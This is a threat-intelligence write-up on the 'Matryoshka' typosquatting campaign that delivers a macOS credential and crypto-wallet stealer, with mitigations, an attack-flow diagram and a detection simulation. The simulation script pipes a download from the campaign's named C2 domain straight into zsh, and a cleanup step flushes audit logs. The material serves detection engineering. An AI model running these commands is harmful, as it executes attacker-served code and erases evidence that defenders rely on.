SOC Prime Bias: Medium

17 Feb 2026 18:00

Unpacking the New “Matryoshka” ClickFix Variant: Typosquatting Campaign Delivers macOS Stealer

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
Unpacking the New “Matryoshka” ClickFix Variant: Typosquatting Campaign Delivers macOS Stealer
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Summary

A new macOS malware operation dubbed Matryoshka abuses a typosquatted domain to social-engineer victims into pasting a malicious command into Terminal. The one-liner pulls an encoded script that decodes in memory and ultimately deploys an AppleScript-based stealer aimed at browser credentials and cryptocurrency wallets. The installer runs quietly in the background, suppresses visible output, and uploads harvested data using a custom API header. The campaign is driven by user interaction rather than a software exploit.

Investigation

Intego analysts reconstructed the chain end to end: a typo-squatted domain redirects users to a lightweight shell stage hosted at barbermoo.xyz. That script performs Base64 + gzip decoding in memory, executes a loader that retrieves the AppleScript payload, and stages collection results into /tmp/osalogging.zip before exfiltration. The AppleScript attempts credential theft by presenting a fake System Preferences prompt, and it also targets crypto tooling by replacing or patching Ledger Live and Trezor Suite application bundles.

Mitigation

User awareness is the primary control: do not paste Terminal commands from websites. Block and monitor the identified typosquatted and C2-related domains, as well as the traffic distribution infrastructure supporting delivery. Apply application allow-listing and use endpoint protection that can detect suspicious osascript execution and abnormal curl-based retrieval patterns.

Response

Alert on Terminal-initiated curl piped to zsh or osascript, monitor creation of /tmp/osalogging.zip, and flag unexpected changes to Ledger Live and Trezor Suite bundles. Enforce DNS filtering for barbermoo.xyz, comparisions.org, and macfilesendstream.com. Investigate any process that launches silently in the background immediately after a curl-driven command execution.

"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ccffcc %% Nodes action_initial_access["<b>Action</b> – <b>T1204.001 User Execution Malicious Link</b><br/><b>Description</b>: Victim visits a typosquatted domain and sees a copyu2011paste command."] class action_initial_access action tool_curl["<b>Tool</b> – <b>Name</b>: curl<br/><b>Description</b>: Transfers data from a URL to the victim machine."] class tool_curl tool process_fetch_rogue["<b>Process</b> – <b>Name</b>: fetch_rogue.sh<br/><b>Command</b>: curl u2026 | sh"] class process_fetch_rogue process action_execution["<b>Action</b> – <b>T1059.004 Unix Shell</b><br/><b>Description</b>: Executes Unix shell commands to download and run rogue.sh."] class action_execution action action_obfuscation["<b>Action</b> – <b>T1027.009 Embedded Payloads</b><br/><b>Description</b>: rogue.sh contains a base64u2011gzip payload decoded directly in memory."] class action_obfuscation action action_indirect_exec["<b>Action</b> – <b>T1202 Indirect Command Execution</b><br/><b>Description</b>: Loader runs in background, detaches from terminal and suppresses I/O."] class action_indirect_exec action tool_applescript["<b>Tool</b> – <b>Name</b>: AppleScript<br/><b>Description</b>: Displays a fake System Preferences dialog to capture user input."] class tool_applescript tool action_gui_capture["<b>Action</b> – <b>T1056.002 GUI Input Capture</b><br/><b>Description</b>: AppleScript dialog captures passwords entered by the user."] class action_gui_capture action action_cred_harvest["<b>Action</b> – <b>T1056 Input Capture</b><br/><b>Description</b>: Script harvests stored browser credentials after user interaction."] class action_cred_harvest action action_masquerade["<b>Action</b> – <b>T1036 Masquerading</b><br/><b>Description</b>: Replaces and reu2011signs Ledger Live and Trezor Suite binaries with malicious versions."] class action_masquerade action action_stage_data["<b>Action</b> – <b>T1074.001 Local Data Staging</b><br/><b>Description</b>: Stages stolen files in /tmp/osalogging.zip before exfiltration."] class action_stage_data action action_c2_comm["<b>Action</b> – <b>T1071.001 Web Protocols</b><br/><b>Description</b>: Communicates with C2 server using HTTP(S) requests and a custom APIu2011key header."] class action_c2_comm action action_exfil_over_c2["<b>Action</b> – <b>T1041 Exfiltration Over C2 Channel</b><br/><b>Description</b>: Uploads the staged zip archive to the C2 server via a POST request."] class action_exfil_over_c2 action action_auto_exfil["<b>Action</b> – <b>T1020 Automated Exfiltration</b><br/><b>Description</b>: Data is automatically sent to the C2 without further user interaction."] class action_auto_exfil action %% Connections action_initial_access –>|uses| tool_curl tool_curl –>|downloads| process_fetch_rogue process_fetch_rogue –>|executes| action_execution action_execution –>|leads to| action_obfuscation action_obfuscation –>|enables| action_indirect_exec action_indirect_exec –>|uses| tool_applescript tool_applescript –>|triggers| action_gui_capture action_gui_capture –>|captures| action_cred_harvest action_cred_harvest –>|feeds| action_masquerade action_masquerade –>|stores| action_stage_data action_stage_data –>|transfers| action_c2_comm action_c2_comm –>|exfiltrates| action_exfil_over_c2 action_exfil_over_c2 –>|automates| action_auto_exfil %% Class assignments class action_initial_access,action_execution,action_obfuscation,action_indirect_exec,action_gui_capture,action_cred_harvest,action_masquerade,action_stage_data,action_c2_comm,action_exfil_over_c2,action_auto_exfil action class tool_curl,tool_applescript tool class process_fetch_rogue process "

Attack Flow

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

  • Attack Narrative & Commands:
    An adversary who has already compromised a low‑privileged macOS account wants to execute a remote payload without writing files to disk. They craft a one‑liner that fetches a base‑64‑encoded script from a malicious C2 domain (barbermoo.xyz), pipes it directly to zsh, and finally uses eval to execute the in‑memory payload. This approach aligns with T1059.004 (Unix shell) and T1027 (obfuscation) and is exactly what the Sigma rule is watching for.

    1. The attacker obtains a unique token (ABCD1234) that ties the request to their campaign.

    2. They run the following one‑liner in a Terminal session:

      curl -fsSL https://barbermoo.xyz/curl/ABCD1234 | zsh
    3. Inside the fetched script, a variable payload holds a base64‑encoded malicious payload, which is executed via:

      eval "$payload"

    This generates two distinct command‑line entries that the rule matches:

    • curl -fsSL https://barbermoo.xyz/curl/ABCD1234 | zsh
    • eval "$payload"
  • Regression Test Script:
    The script below reproduces the malicious behavior in a controlled lab environment. Run it on a macOS test host only. It logs its own execution to the system audit log, satisfying the detection rule.

    #!/usr/bin/env bash
    # -------------------------------------------------
    # Matryoshka Variant Simulation – triggers Sigma rule
    # -------------------------------------------------
    set -euo pipefail
    
    # --- Configuration -------------------------------------------------
    TOKEN="ABCD1234"                     # Replace with any string to simulate uniqueness
    MALICIOUS_URL="https://barbermoo.xyz/curl/${TOKEN}"
    # A tiny harmless payload for demo – echoing a message (replace with real payload in red‑team)
    PAYLOAD="echo 'Malicious payload executed'"
    
    # --- Step 1: Fetch and pipe to zsh (matches first detection pattern) ---
    curl -fsSL "${MALICIOUS_URL}" | zsh
    
    # --- Step 2: Simulate in‑memory eval (matches second pattern) -------------
    # In a real attack the payload would be base64‑encoded and decoded on‑the‑fly.
    eval "${PAYLOAD}"
  • Cleanup Commands: Remove any transient processes and restore the shell state.

    # Kill any zsh processes spawned by the test (if still running)
    pkill -f "zsh -c .*barbermoo.xyz"
    
    # Optionally clear the audit log of the test entries (requires admin)
    sudo audit -c      # Flushes the audit buffer (demonstrates T1070.010)